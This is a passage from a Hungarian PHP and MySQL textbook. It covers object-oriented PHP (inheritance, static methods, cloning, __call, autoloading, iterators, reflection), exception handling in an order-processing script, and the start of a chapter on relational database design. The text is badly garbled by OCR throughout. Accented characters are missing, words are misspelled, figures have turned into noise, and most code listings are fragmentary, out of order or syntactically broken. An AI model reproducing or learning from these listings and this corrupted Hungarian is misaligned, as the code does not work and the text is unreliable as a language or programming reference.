amennyiben az $ur l karakterlnc benne van a$_SERVER [ 'PHP_SELF' ] pedig false lesz a visszatrsi rtke.
Az Oldal osztly hasznlathoz be kell illeszteni az oldal.inc. php fjlt egy kdba, majd meg kell hvn a
Megjelenites () fggvnyt.
A 6.2 pldakd a TLA Consuiting nyitoldalt hozza ltre, s az 5.2 brn lthat, korbban generlthoz hasonl kimenetet eredmnyez. A 6.2 pldakd a kvetkezket hajtja vgre: L A require hasznlatval beilleszti az Oldal osztly defincijt magban foglal oldal. inc.php tartalmr.
2.Ltrehozza az Oldal osztly egy pldnyt. Ennek neve $kezdolap . 3. Bellga a tartalmat, amely az oldalt megjelent szvegbl s HTML cmkkbl ll. (Ez egyben a_set( ) metdust is
meghvja.)
4. A $kezdelap objektumon bell meghvja a Megjelenites () mecdust, hogy az oldal megjelenjen a ltogat bng
szjben.
6.2 pldakd: kezdolap. php-Ez a
<?php require("oldal.inc.php"); $kezdolap = new Oldal(); $kezdolap->tartalom ="<p>Kszntjk a TLA Consulting honlapjn!
6
?>
Krjk,
$kezdolap->Megjelenites();
A 6.2 pldakdbl ltszik, hogy milyen kevs munkra van szksg ahhoz, hogy ezen Oldal osztly segtsgvel j oldala kat lltsunk el. Az osztly ilyetn alkalmazsa azt eredmnyezi, hogy az sszes oldalnak nagyon hasonlnak kell lennie. Ha azt szeretnnk, hogy a honlap egyes rszei az lcalnos oldalszerkezet mdostott vltozatt hasznljk, egyszeren lemsolhatjuk az oldal.inc. php fjlt egy j, oldal2. inc.ph p nev llomnyba, s ott vgrehajthaguk a kvnt mdos tsokat. Ez persze azzal jr, hogy ha az oldal. ine. php bizonyos rszeit frissgk vagy javtjuk, nem szabad elfeledkeznnk, hogy ugyanezen mdostsokac az oldal2. inc.php fjlban is vgrehajtsuk. Jobban jrunk, ha rkldst hasznlva hozzuk ltre az j osztlyt, amely az Oldal funkcionalitst nagy rszben rkli, azonban az eltrnek kvnt rszeket fellrj a. Tegyk fel, hogy a TLA honlapjn, a szolglcatsokat bemutat oldalon egy m sodik navigcis svra van szksg! A 6.3 pldakdban lv program gy ri ezt el, hogy ltrehoz egy j, az Oldal osztl)bl szrmaztatott, Szelgal tatasokOldal nev osztlyt. Ltrehozunk egy $sor2gombok nev j tmbt, amely e msodik svba sznt gombokat s hivatkozsokat tartalmazza. M ivel azt szeretnnk, hogy az j osztly nagyrszt vltozatlan mdon mk<ljk, csak a mdostani kivnt rszt rjuk fel: a Megjeleni tes( ) metdust.
Objektumorientlt PHP
123
6.3 pldakd: szalgal tatasok.php-A szolgltatsok oldal az Oldal osztlybl rkldik, de a Megjeleni tes() met dust Jellrva mdostja a kimenetet
<?php require ("oldal.inc.php"); class SzolgaltatasokOldal extends Oldal
private $sor2gombok = array( "Folyamat-jjalakits" => "reengineering.php", "Szabvnyoknak val megfelel6sg" => "standards.php", ''Varzsszavak'' => ''buzzword.php '',
echo "<html>\n<head>\n"; $this -> MegjelenitesCim(); $this -> MegjelenitesKulcsszavak(); $this -> MegjelenitesStilusok(); echo "</head>\n<body>\n"; $this -> MegjelenitesFejlec(); $this -> MegjelenitesMenu($this->gombok); $this -> MegjelenitesMenu($this->sor2gombok); echo $this->tartalom; $this -> MegjelenitesLablec(); echo "</body>\n</html>\n";
$szolgaltatasok -> tartalom ="<p>A TLA Consulting szmos szolgltatst nyjt gyfeleinek. zleti folyamatainak jjalakitsval nvelhet6 az alkalmazottak munkavgzsnek hatkonysga. Lehet, 6jrafogalmaznia, de az is lehet, hogy vllalkozsnak csak a kldetst kell
Ez a sor msodszor is meghvja a Megjelen i tesMenu() fggvnyt, s ltrehoz egy msodik mensort. Az osztlydefincin kvl ltrehozzuk a SzalgaltatasokOldal osztly egy pldnyt, belltjuk azon tulajdonsgait, amelyeknl nem az alaprtelmezett rtkeket szeretnnk hasznlni, majd meghvjuk a Megjelenites( ) fggvnyt. Lthatjuk, hogy a 6.2 bra az ltalnos oldal j vltozatt mutatja. Csak a mdostott rszekhez kellett j kdot rnunk.
124
6. fejezer
O
liji$.1$ '
TLA
O
billilli
@iN'9
c.:;sg.;p;:;wn;g.pJI -
hi#'
... .
6.2 bra: A
szolgltatsok oldalt rkldssel, az ltalnos oldal nagy rszt jra Jelhasznlva hoztuk ltre.
Az oldalak PHP osztlyokon keresztli ltrehozsa nyilvnval elnykkel jr. Ha a munka dandrjr egy osztly vgzi el, akkor rtelemszeren kevesebber kell dolgozunk az j oldalak lrrehozsn. Az osztlyt frisstve egyszeren, egyetlen mozdu lattal mdosthatjuk az sszes oldalt. rklds segtsgvel az eredeti osztly klnbz vltozatait szrmazrathatjuk anlkl, hogy az rklds elnyeirl le kellene mondanunk. Mint az letben szinte mindig, most sem ingyen jutunk ezekhez az elnykhz. Az oldalak kdbl trtn ellltsa jobban ignybe veszi a szmtgp processzort, mint egy statikus HTML oldal betltse s elkldse a bngszre. Egy nagy forgal m honlapon ez fonros szempont lehet, s trekedni kell vagy statikus HTML oldalakat hasznlni, vagy - ahol lehetsges a kdok kimenetnek gyorsttrazsval cskkenteni a kiszolgl terhelst.
6
.._ __
3.14159;
".Math::pi."\n";
."!",
Az osztlyon belli llandkat a : : mveleti jellel az lland osztlyt meghatrozva rjk el, ahogy a fenti pldban is lthat.
return $input*$input;
l l
echo Math:: negyzetre emeles(8);
Objektumorientlt PHP
125
rdemes megjegyezni, hogy statikus metduson bell nem hasznlhatjuk a this kulcsszt, hiszen nincsen objektumpl dny, amire hivatkozhat.
($b instanceof A)
A fenti pldk felttelezik, hogy az A, a B s a Megjelenitheto az aktulis hatkrben tallhat; msklnben hiba kvetkezik be. Ezen tlmenen alkalmazhatunk az osztlyokra tpusjelzst ( rype hinting) is. lcalban amikor paramtert adunk t PHP ben egy fggvnynek, a paramter tpust nem adjuk t. Tpusjelzssel meghatrozhatjuk, hogy milyen tpus osztlyt kell tadni, s amennyiben az nem egyezik a tnylegesen tadoct tpussal, akkor hiba kveekezik be. A tpusellenrzs egyenrtk az instanceof kulcsszval. Gondoljuk vgig pldul a kvetkez fggvnyt:
function hint ellenor(B $valamilyenosztaly
l l ...
Fatal error:
l must be an instance of B
paramtere a B osztly pldnya kell, hogy legyen)
(Vgzetes hiba:
l.
rdemes megemlteni, hogy A tpusjelzse s B egy pldnynak tadsa esecn nem trtnt volna hiba, mert a B osztly A-bl rkldik.
clyra val hivatkozst; az alaposztlyok hasznlhatnak a gyerekosztlyok ltal fellrt, statikus metdusokat. Az albbi, a PHP kziknyvbl szrmaz, alapszint plda mkds kzben mutat egy ksi statikus ktst:
<?php class A
l 6
{
static function ki() CLASS
public
echo
public
static::ki();
( function ki()
echo
CLASS
B::teszt(); ?>
126
6. fejezet
A futsidben meghvott- akr fellrt, akr nem fellrt- osztlyokra mutat hivatkozsok lehetsge tovbbi funkciona litssal gazdagthatja osztlyainkat. A ksi statikus ktsekrl tovbbi informcikat s pldkat tallunk a PHP online kziknyvnek http:/ /www.php.net/ manual/ en/ language.oop5.late-static-bindings.php cmen elrhet rszben.
Objektumok klnozsa
A PHP-ben is hasznlhat clone kulcsszval meglv objektumot msolharunk le. Pldul a
Sc
=
clone $b;
utasts a $b objektum ugyanolyan osztly, ugyanolyan attribtumrtkekkel rendelkez msolatt hozza ltre. A klnozs nem csak gy mkdhet. Ha a clone kulcssz nem alaprtelmezett mkdsre van szksg, ltre kell hoznunk az alaposztlyban egy_clone(} nev metdust. Ez annyiban hasonl a konstruktorhoz s a destruktorhoz, hogy nem kz veclenl hvjuk meg. Akkor hvdik meg, arnikor a clone kulcsszt az itt lthat mdon hasznljuk. A_clone(} metdu son bell ezt kveten pontosan meghatrozhatjuk a kvnt msolsi mdszert. A_clone(} metdus szpsge abban rejlik, hogy egy, az alaprtelmezett mdszerrel ltrehozott tkletes msolat elk szlte utn hvdik meg, s ekkor lehetsgnk van r, hogy csak a mdostani kvnt dolgokon vltoztassunk. A_clone(} metdushoz leggyakrabban olyan kdot adunk hozz,amely biztostja a hivatkozsknt kezelt osztlytulaj donsgok helyes msolst. Ha megprblunk lemsolni egy objekrumra val hivatkozst tartalmaz osztlyt,minden bizony nyal ennek az objektumnak a msolatt szeretnnk eredmnyl kapni, nem pedig egy, az eredeti objekrumra mutat msodik hivatkozst. Pontosan ezrt rdemes hozzadni ezt a_clone(} metdushoz. Dnthetnk gy is, hogy nem vltoztarunk meg semmit,hanem valarnilyen ms mveletet hajrunk mg vgre, pldul egy, az osztlyhoz kapcsold mgttes adatbzisrekord frisstst.
Az elvont metdusokat tartalmaz osztlyoknak nmaguknak is elvontnak kell lennik,ahogy ezt a kvetkez plda is mu tatja:
abstract class
A
$param2};
Az elvont metdusokat s osztlyokat elssorban olyan sszetett osztlyhierarchiban hasznljuk, amelynl biztosak k vnunk lenni abban, hogy minden alosztly tartalmaz s fellr egyes meghatrozott metdusokat. Ugyanezt interfsszel is elrhetjk.
c a ll
( ) metdussal
Korbban mr szmos klnleges jelents osztlymetdussal tallkoztunk, amelyeknek ketts alulvonssal (_) kezddtt a nevk. Ilyen volt a _get(},a _set (},a_construct(} s a_destruct (}.Ezek kz tartozik a_call(} me tdus is,amit arra hasznlunk PHP-ben, hogy megvalstsuk a metdusok tbbszrs definilst {method overloading). A tbbszrs definils sok objektumorientlt nyelvben megrallhat,m PHP-ben kevsb hasznos,mivel rdemes helyet te rugalmas tpusokat s {knnyen ltrehozhat) opcionlis fggvnyparamtereket alkalmazni. Hasznlathoz ltrehozunk egy_call(} metdust, ahogy tesszk ezt a kvetkez pldban:
public function if ($metodus call($metodus, $p}
{
==
"megjelenites"}
Objektumorientlt PHP
127
else
$this->megjelenitesSkalaris($p[0]);
A_call () metdus kt paramtert fogad. Az els a meghvott metdus nevt,a msodk pedig az ennek a metdus nak radott paramterek tmbjt tartalmazza. Ezt kveten eldnthetjk,hogy melyik mgttes metdust hvjuk meg. Jelen esetben,ha objektumot adunk t a Megjeleni tes() metdusnak, a mgttes megj elenitesObjektum () met dust hvjuk meg; ha tmbt adunk t,a megj eleni tesTomb () metdust hvjuk meg,s ha valami mst adunk t, akkor a megjelenitesSkalaris () metdust. neki az overload nevet),s ezt kveten hvjuk meg a Megj eleni tes ( ) metdust,ahogy az albbi pldban is ltjuk:
$ov
=
A fenti kd meghvshoz elszr ltre kell hozni az ezt a_call ( ) metdust tartalmaz osztly egy pldnyt (acljuk
new overload;
$ov->megjelenites(tomb (l,
2,
3));
$ov->megjelenites('macska');
A Megjelenites() els meghvsa a megjelenitesTomb (),a msodik pedig a megjelen itesSkalaris () met dust hvja meg. rdemes megjegyezni, hogy a fenti kd mkdshez nincs szksg a Megj elenites() metdus mgttes kifejtsre.
Az
au t o l o a d
( ) fiiggvny hasznlata
A PHP egy msik klnleges fggvnye az _a utoload ().Nem osztlymetdus, hanem klnll fggvny; ez azt jelenti, hogy osztlydeklarcin kvl deklarlhatjuk Ha ltrehozzuk,automatikusan meghvdik, amikor mg nem deklarlt osztly pldnyt prbljuk meg ltrehozni. Az _a utoload ( ) hasznlatnak elsdleges clja megprblni beilleszteni a kvnt osztly pldnynak ltrehozshoz
include_once $nev.".php";}
public $a public $b
public $c
$x
new sajatOsztaly;
(Ktetnk rsnak idejn a PHP kziknyv szerint a foreach fellet mkdshez ltre kell hozni az res Traversable felletet,m ha ezt tesszk,vgzetes hiba trtnik. Ha azonban nem hozzuk ltre,a kd tkletesen mkdk.) Amennyiben ennl knnomulrabb mkdst ignylnk,hozzunk ltre itertort! Ehhez az iterlni kvnt osztllyal ltre kell hozni az IteratorAggregate interfszt,s hozz kell adni egy getiterator nev,az itertorosztly egy pldnyt visszaad metdust. Ennek az osztlynak ltre kell hozni az Iterator felletet, amely Icifejtend metdusok sorozatval rendelkezik. A 6.4 pldakdban az osztlyra s az itertorra ltunk egy pldt .
128
6. fejezer
6.4 pldak d:
<?php
iterator . php
Iterator
function
__
construct($obj)
$this->obj
$obj;
=
$this->szarnlalo
szarnlalo($this->obj->data);
function visszaallit()
$this->aktualislndex
0;
function ervenyes()
function kulcs()
return $this->aktualislndex;
function aktualis()
return $this->obj->data[$this->aktualislndex];
function kovetkezo()
$this->aktualislndex++;
function
__
construct($in)
$this->data
$in;
function getlterator()
$sajat0bjekturn
new Object(array(2,
4,
6,
8,
10));
$sajatlterator
$rny0bject->getlterator(); $sajatlterator->ervenyes();
for($sajatlterator->visszaallit();
Objektumorientlt PHP
129
$sajatiterator->kovetkezo(}}
$key = $sajatiterator->kulcs(}; $ertek = $sajatiterator->aktualis(}; echo $kulcs." => ".$ertek."<br />";} ?>
Az Objektumiterater osztly az Iterater interfsznek megfelel fggvnykszlettel rendelkezik: A konstruktor nem ktelez, de nyilvnvalan megfelel hely arra, hogy az iterlni kvnt elemek szmhoz rtkeket, illetve az aktulis adatelemre mutat hivatkozst lltsunk be. A visszaallit(} fggvny lltja vissza a bels adatmutatt az adat elejre. Az ervenyes(} fggvny kzli, hogy van-e tovbbi adat az adarmutat aktulis helynL A kulcs(} fggvny adja vissza az adatmutat rtkr. Az ertek(} fggvny az adatmutat aktulis helynl trolt rtket adja vissza. A kovetkezo(} fggvny mozgatja az adatmutatt az adatban. Egy ilyen itertorosztly hasznlatnak oka, hogy az adatokhoz mutat interfsz akkor sem vltozik, ha a mgttes meg valsts igen. Pldnkban az IteratorAggregate osztly egyszer tmb. Ha gy dnrnk, hogy hash tblv vagy hi vatkozott listv (linked list) alaktjuk, ltalnos Iterator hasznlatval is elrhernnk ezt, br ekkor az Iterator kdja megvltozna.
Ha ltrehozunk osztlyunkban egy _toString(} nev fggvnyt, ez fog meghvdni, amikor megksreljk knyomtarni az osztlyt, ahogy tesszk azt az albbi pldban:
$p = new Nyomtathato; echo $p;
Az echo utasts azt fogja megjelenteni, amit a_toString(} fggvny visszaad. Pldul a kvetkezkppen hozhatjuk ltre:
class Nyomtathato
return(var export($this,
TRUE}};
objektumorientlt funkcii kz tartozik a RejlectionAPI (alkalmazsprogramozsi interfsz). A refection a meglv l osztlyok s objektumok lekrdezsnek kpessge, hogy tbbet tudjunk szerkezerkrl s tartalmukrL Ez a lehetsg akkor igazn hasznos, amikor ismeretlen vagy nem dokumentlt osztlyokhoz alakrunk k interfszt, pldul amikor kdolt PHP szkriptekkel tesszk ezt. Az API rendkvl sszetett, de egy egyszer plda ttanulmnyozsa utn nmi fogalmunk lehet arrL mire hasznlhat. Gondoljunk pldul az ebben a fejezetben deklarlt Oldal osztlyra! Az osztlyrl minden informcit megkapharunk a Ref!ection API ltal, ahogy ezt a 6.5 pldakdbl lthatjuk.
A PHP
require once("oldal.inc.php");
Ebben az esetben a
Reflection
...
..
Hogyan tovbb:
A kvetkez fejezet a PHP kivtelkezel lehetsgeit mutatja be. A kivtelek elegns lehetsget adnak a futsidej hibk ke
zelsre.
7
Hiba s kivtelkezels
A fejezetben a kivtelkezels fogalmt, illetve PHP-beli megvalsrst mutatjuk be. A kivtelek egysges mechanizmust szol
gltamak a hibakezelsre, amely sajt, objektumorientlt alapokon nyugv hibakezelssei egszthet ki.
A fejezetben az albbi fbb tmakrkkel foglalkozunk: Kivtelkezelsi fogalmak Kivtelkezelsi szerkezetek: try ...throw...catch Az Exception osztly Felhasznl ltal meghatrozott kivtelek Kivtelek Bob autalkatrsz-rtkest alkalmazsban Kivtelek s a PHP tovbbi hibakezel mechanizmusai
Kivtelkezelsi fogalmak
A kivtelkezels alapgondolata, hogy a kd egy gynevezett try blokkon bell hajtdik vgre. A kd ezen rsze gy nzi ki:
try
ll ide kerl a kd Ha valami nem stimmel a try blokkban, kivtelt vlthatunk ki (throw exception). Egyes programozsi nyelvek, kztk
a java is, bizonyos esetekben automatikusan kivltjk a kivteleket. PHP-ben ezt sajt kezleg kell megrenni. A kivtel kivltsa a kvetkezkppen trtnik:
throw new Exception('zenet', kd);
A throw kulcssz indtja el a kivtelkezel mechanizmust. Inkbb nyelvi alkotelem, mintsem fggvny, mindazonltal rtket kell tadni neki. Objektumot vr. A legegyszerbb esetben a beptett Exception osztly egy pldnyt hozzuk ltre, ahogy tettk ezt a fenti pldban is. Ezen osztly konstruktora kt paramtert fogad: egy zenetet s egy kdot. Ezek egy hibazenetet s egy hibakdszmot szndkoznak jelkpezni. Mindkt paramter opcionlis. A try blokk alatt legalbb egy catch blokkra is szksg van. Ez ltalnossgban a kvetkezkppen nz ki:
catch (tpusjelzs kivtel)
ll kivtel kezelse Egy try blokkhoz egynl tbb catch blokk is trsthat. Ez akkor nyer rtelmet, ha minden catch blokk ms cpus kivtelt kszl elkapni. Ha pldul az Exception osztly kivteleit szndkozunk elkapni, catch blokkunk a kvetkez kppen nzhet ki:
catch (Exception $e)
ll kivtel kezelse A catch blokkba radott (s ltala elkapott) objektum a kivtelt felismer throw utastsnak radott (s ltala kivltott) objektum. A kivtel brmilyen tpus lehet, de rdemes vagy juk, hogyan tudjuk sajt kivteleinket meghatrozni.)
az
Exception
meghatrozott, az Exception osztlybl rkld kivtelpldnyokat hasznlni. (A fejezet egy ksbbi rszben megmutat
132
7. fejezer
Amikor egy kivrel bekvetkezik, a PHP a megfelel catch blokkor kezdi keresni. Egynl rbb catch blokk esern a ne kik radorr objektumoknak klnbz tpusaknak kell lennik, hogy a PHP rtelmez ki tudja derteni, hogy melyik catch melyik blokkon menjen keresztl. rdemes megemlteni, hogy catch blokkon bell nem lehet tovbbi kivteleket kivltani. Hogy az eddig elmondorrakat vilgosabb tegyk, nzznk egy pldd A 7.1 pldakdban egy egyszer kivtelkezelsi pl dt tallunk.
7.1 pldakd: alapszintu_kivete l. php-Kivtel kivltsa s elkapsa
<?php try
{ 42);
{
$e->getMessage()."<br $e->getLine() . ". sorban<br />". />"; " fj l "
?>
A 7.1 pldakdbl lthat, hogy az Exception osztly metdusait hasznltuk. (Ezeket rvidesen rszletesen is megismer hegk.) A kd futtatsnak eredmnye a 7.1 brn lthat.
Q--- .. __..,..,,..._""'-""-..,..01_.,...
....._ ...
.......... _.... ..
7 .l bra: A catch blokk kzli a kivtel hibazenett, s jelzi, hol trtnt a kivtel.
A pldakdban lthat, hogy az Exception osztly kivtelt vltjuk ki. E bepterr osztly a catch blokkban hasznos hibazenerek megjelentsre alkalmas merdusokkal rendelkezik.
Az Exception osztly
A PHP rendelkezik egy Exception nev bepterr oszrllyal. Ennek konstruktora, mint azt mr jelezrk, kt paramtert
fogad: egy hibazenetet s egy hibakdor. A konsrruktoron tlmenen az oszrly az albbi bepterr metdusokar tartalmazza:
getCode
()-A konstruktornak radorr kdot adja vissza. ()-A konstruktornak radorr zenetet adja vissza. a kdfjlnak a reljes elrsi tvonalt adja vissza, ahol a kivtel bekvetkezett.
getMessage
()-A kdfjl azon sornak a szmt adja vissza, ahol a kivtel bekvetkezett. ()-A kivtel bekvetkezrnek visszakvetsr tartalmaz tmbt ad vissza. ()-A getTrace metdus lral visszaadorr informcival megegyezt ad vissza karakterlncknt for teszi, hogy az Exception objektumot egyszeren ki!ratva a fenri metdusok lral nyj
getTrace
getTraceAsStr ing
mzva azt.
_toStr ing ( )- Lehetv
torr sszes informcit megszerezzk. Lthat, hogy a 7.l pldakdban a fentiek kzl az els ngy metdust hasznltuk. Mindezen informcit (s a visszakve tsr) megkaptuk volna az
echo $e;
urasrs vgrehajtsval is. A visszakvets (backtrace) azt mutatja, mely fggvnyek vgrehajtsakor kvetkezerr be a kivtel.
Hiba- s kivtelkezels
133
{
int $code=0)
construct(string $message=NULL,
if (func_num_args())
$this->message = $message;
$this->code $this->file =
$this->line =
StringFormat($this);
protected $message = "Ismeretlen kivtel"; protected $code = 0; protected $file; protected $line; private $trace; private $string;
ll kivtel zenete
function
toString()
return $this->string;
static private
ll ...
PHP
ll ...
PHP
134
7. fejezet
"?>"
Elssorban azrt vizsgljuk meg ezt az osztlydefincit, hogy szrevegyk: a nyilvnos (public) metdusok tbbsge vg leges (final). Ez azt jelenti, hogy nem fellrhark. Ltrehozharjuk sajt Exception alosztlyainkat, de nem mdosthaguk
az
alapmetdusok viselkedst. Jegyezzk meg, hogy a _toSt ring () fggvny fellrhat, gy megvltoztathatjuk a kivtel A 7.3 pldakd felhasznl ltal definilt Exception osztlyra mutat pldt.
function
toString()
return "<table border=\"1\"> <tr> <td><strong>Kivtel ".$this->getCode() ." </strong>: ".$this->getMessage() ."<br />"."
a ".$this->getFile() ." fjl ".$this->getLine() ." . sorban <ltd> </tr> </table><br />";
try
{
throw new sajatKivetel("Szrny hiba trtnt",
42);
echo $m;
?>
Ebben a kdban j kivtelosztlyt deklarlunk. Ennek neve saja tKivete l, s az Exception alaposztlybl rkldik. Ez s az Exception osztly kztt az a klnbsg, hogy a_toString () metdust fellrva, szpen formzva ratjuk ki a kivtelt. A kd futtatsnak kimenere a 7.2 brn lthat.
7.2 bra: A saja tKivetel osztly ,.szpen Jormzva" jelenti meg a kivteleket.
Hiba- s kivtelkezels
135
A fenti plda igen egyszer. A kvetkez rszben megvizsgljuk, hogyan lehet klnbz hibatpusokat kezel, msmilyen
kivteleket ltrehozni.
(Adatok trolsa s visszakeresse) megcudhattuk, hogyan troljuk Bob rendelsi adatait egy egyszer fjlban.
Mint azzal bizonyra tisztban vagyunk, a fjlkezels egyike azon terleteknek, ahol gyakran jelentkeznek hibk. Ezrt kivl terep ez kivtelkezels alkalmazsra s szemlltetsre. Ha visszagondolunk az eredeti kdra, lthatjuk, hogy hromfle problma kvetkezhet be fjlba rskor: a fjl nem nyithat meg, nem lehet zrolni, vagy nem lehet rni bele. Mindhrom lehetsghez ltrehoztunk egy-egy kivtelosztlyt. Ezek kdjt
a
7.4 pldakd: fajl_kivetelek. php- Fjlkezelshez kapcsold <?php class fajlNyitasiKivetel extends Exception
function
__
kivtelek
toString()
$this->getCode() />n. n
a
$this->getLine()
$this->getCode() />n. n a n
$this->getLine()
toString()
7
$this->getCode() />n. n a n n fjl n. />''; $this->getLine()
return
nfajlZarolasiKivetel n n: ''. n
$this->getMessage(). n<br
?>
Ezek az Exception alosztlyok semmi klnlegeset nem tesznek. Jelen alkalmazshoz akr res alosztlyknt is felhasz nlhattuk volna ket, de az alap Exception osztly is megfelel lenne. Mindazonltal minden alosztlyhoz ltrehoztunk egy
_toString()
A 2. fejezetbl ismert rendeles feldolgozasa php fjlt trtuk, hogy beptsk a kivteleket. Az j vltozar a 7.5 .
pldakdban lthat.
136
7. fejezet
7.5 pldakd: rendeles_feldolgozasa. php - B ob rendelseket Jeldolgoz kdja kivtelkezels beptse utn
<?php require_once("fajl kivetelek.php"};
<html> <he ad> <title>Bob autalkatrszek </head> <body> <hl>Bob autalkatrszek</hl> <h2>Rendelsi eredmnyek</h2> <?php $datum = date('H:i, jS F'}; Rendelsi eredmnyek</title>
".$datum."</p>";
echo
</p>';
$olaJ
db
$gyertya db;
".$osszmennyiseg."<br />";
if( $osszmennyiseg == 0}
echo " Egyetlen ttelt sem rendelt az el6z6 oldalon!<br />"; else if
{ {
( $abroncs_db > O }
7
.__ __
_",,
l0}; 4};
define('GYERTYAAR' ,
$vegosszeg = $abroncs_db
+ +
ABRONCSAR OLAJAR
*
$olaj_db
$gyertya db
GYERTYAAR; 2,
l '
$vegosszeg=number_format($vegosszeg,
);
Hiba- s kivtelkezels
137
".Svegosszeg."</p>";
".$szallitasi cim."</p>";
$kimeneti sztring
$daturn."\t". Sabroncs_db." gumiabroncs \t".$olaj db." olaj\t" .$gyertya_db." gyjtgyertya\t\$".$vegosszeg ."\t". Sszallitasi cim."\n";
if (1($fp
@fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt",
'ab')))
if (!flock($fp,
LOCK_EX))
if (1fwrite($fp,
$outputstring,
strlen($outputstring)))
flock($fp,
LOCK_UN);
A kd fjlkezelssei foglalkoz rszt try blokk veszi krl. Az ltalos s kvetend programozsi gyakorlat kis try blokkok alkalmazsa, illetve mindegyik utn a megfelel kivtel elkapsa. Igy knnyebb a kivtelkezel kd megrsa s kezel-
se, hiszen mindig pontosan ltjuk, hogy mivel foglakozunk. Ha nem tudjuk megnyitni a fjlt, fajlNyitasiKivetel-t vltunk ki; ha nem tudjuk zroini a fjlt, akkor
fajlZarolasiKivete l-t, ha pedig nem tudunk rni bele, akkor fajlirasiKivetel-t idznk el.
l 7
Vizsgljuk meg a catch blokkokat! Nem vletlenl csak kett van bellk: az egyik a fajlNyitasiKivetel kivteleket kezeli, a msik az Exception kivteleket. Mivel a tbbi kivtel az Exception osztlybl rkldik, ezeket a msodik catch blokk fogja elkapni. A catch blokkok kivtelekkel prostsa ugyanolyan alapon trtnik, mint az instanceof opertor. Ezrt is rdemes sajt kivtelosztlyainkat egyetlen osztlybl szrmaztatni. Vgezetl egy fontos figyelmeztets: ha olyan kivtelt vltunk ki, amelynek nem rtunk megfelel catch blokkot, a PHP vgzetes hibt jelez.
138
7. fejezet
Tovbbi olvasnival
Mivel a kivtelkezels a PHP egyik jdonsga, nem tl sokat rtak mg a tmban. A kivtelkezelsrl ltalnossgban azon ban bsges informci lelhet fel. A Sun kivl oktatanyaggal rendelkezik a kivtelekrl, illetve arrl, mirt rdemes hasz nlni azokat. A - termszetesen a Java szemszgbl rdott - anyag a http://java.sun.com/docs/books/tutorial/essential/ exceptions/handling.html oldalrl rhet el.
Hogyan tovbb:
A knyv kvetkez rsze a MySQL-lel foglalkozik. Megtudjuk, hogyan hozzunk ltre s tltsnk fel MySQL adatbzist, majd mindezt a PHP-rl tanultakkal sszekapcsolva hogyan lehet az adatbzist az internetrl elrni.
II
A MySQL hasznlata
10
ll
12
Halad MySQL-adminisztrci
13
Halad MySQL-programozs
8
Webes adatbzis megtervezse
A PHP alapjainak megismerse utn figyelmnket afel fordtjuk, hogyan tudunk kcljainkba adatbzist bepteni. Emlkez hetnk r, hogy az Adatok trolsa s visszakeresse cm 2. fejezet bemutatta, milyen elnykre szmthatunk, ha az egyszer fjlok helyett relcis adatbzist hasznlunk: A relcis adatbzis-kezel rendszerek (RDBMS) az egyszer fjloknl gyorsabb hozzfrst tesznek lehetv az adatokhoz. Az RDBMS-ekbl lekrdezssel egyszeren kinyerherk adott kritriumoknak megfelel adathalmazok. Az RDBMS-ek beptett mechanizmusokat knlnak az egyidej hozzfrsek kezelsre, gy programozknt nem szksges ezzel foglalkoznunk. Az RDBMS-ek vletlen hozzfrst biztostanak az adatokhoz. Az RDBMS-ek beptett jogosultsgi rendszerekkel rendelkeznek. Hogy nhny kzzelfoghat pldt is nzznk, relcis adatbzis hasznlatval gyorsan s egyszeren vlaszt kapunk az olyan lekrdezsekre, hogy honnan rkeznek vsrlink, mely termkek fogynak a legjobban, s milyen tpus vsrlk klte nek a legtbbet. ilyen - egy egyszer fjlbl igen nehezen kinyerhet - informcik birtokban fejleszthetjk oldalunkat, hogy rbb felhasznlt vonzzon, s segtsen megtartani ket. A knyv elttnk ll rszben MySQL adarbzist fogunk hasznlni. Mieltt a kvetkez fejezetben elmlyednnk a MySQL rszleteiben, megvizsgljuk a kvetkezket: Relcis adatbzisokkal kapcsolatos fogalmak s szakkifejezsek Webes adatbzis megtervezse Webes adarbzis architektrja A knyv ezen rszben az albbi terletekkel ismerkednk meg: A Webes adatbzis ltrehozsa cm 9. fejezet MySQL adatbzis internethez kapcsolsnak alapvet belltst mutatja be. Megtudjuk, hogyan hozhatunk ltre felhasznlkat, adatbzisokat, tblkat s indexeket, s megsmerjk a MySQL klnbz trolmotorjait. A Munkavgzs MySQL adatbzisunkkal cm 10. fejezetbl kiderl, hogyan lehet lekrdezni az adatbzisbl, hogyan tudunk rekordokat hozzadni, trlni s frissteni - mindezt parancssorbL A MySQL adatbzis elrse a webrl PHP-vel cm ll. fejezet bemutatja, hogyan lehet a PHP-t s a MySQL-t ssze kapcsolva adatbzisunkat webes kezelfelletrl elrni s hasznlni. Kt mdszert ismernk meg erre: az egyik a PHP .. MySQL Improved Extension" (mysqli) kiterjesztst, a msik a PEAR:DB adatbzis-absztrakcis rteget hasznlja. A Halad MySQL-adminisztrci cm 12. fejezer rszletesebben taglalja a MySQL-felgyeletet, olyan terleteket rint ve, mint a jogosultsg rendszer, a biztonsg s az optimalizls. A Halad MySQL-programozs cm 13. fejezet a trolmotorokat mutatja be rszletesebben, foglalkozik a tranzakcik lefedettsgvel, a teljes szvegben keresssel s a trolt eljrsokkal.
Tblk
A relcis adatbzisok kapcsolatokbl plnek fel, amelyeket tblknak vagy tblzatoknak (rable) szoks nevezni. A tbla pon tosan az, amit a neve sugall - adarokbl ll tblzat. Ha hasznltunk korbban tblzatkezel alkalmazst, akkor tblkkal is dolgoztunk mr.
142
8.fejezet
Vessnk egy pillamst a 8.1 brn lthat mintatblra, amely a Book-O-Rama nev knyvesbolt vsrlinak nevt s cmr tartalmazza! VASARLOK VasariolD l 2 3 Nev
Julie Smith Alan Wong Michelle Arrhur
Varos
Airporr West BoxHiU Yarraville
8.1 bra: A Book-O-Rama vsrlinak adatai tblzatban trolva. A tblnak van neve (vasarlok), s klnbz adatokat tartalmaz oszlopokbl s az egyes vsrlknak megfelel sorok bl ll.
Oszlopok
A tbla minden oszlopa egyedi nvvel br, s klnbz adatokat tartalmaz. Minden oszlop megfelel adattpus. A 8.1 brn lthat Vasarl ok tblbl kiderl, hogy a Vas arl o I D (vagyis vsrlazonost) egsz szmokat, a msik hrom oszlop karakterlncokat tartalmaz. Az oszlopokat esetenknt mezknek (field) vagy tulajdonsgoknak, attribtumoknak (attribute) is szoks nevezni.
Sorok
A tbla mindegyik sora egy-egy vsrlt jelkpez. A tblzatos forma miatt minden sor ugyanazokkal a tulajdonsgokkal ren delkezik. A sorokat szoks rekordoknak ( record) is nevezni.
rtkek
Minden sor az egyes oszlopoknak megfelel rtkek kszlett tartalmazza. Minden adatnak az oszlopa ltal meghatrozott adattpusnak kell lennie.
Kulcsok
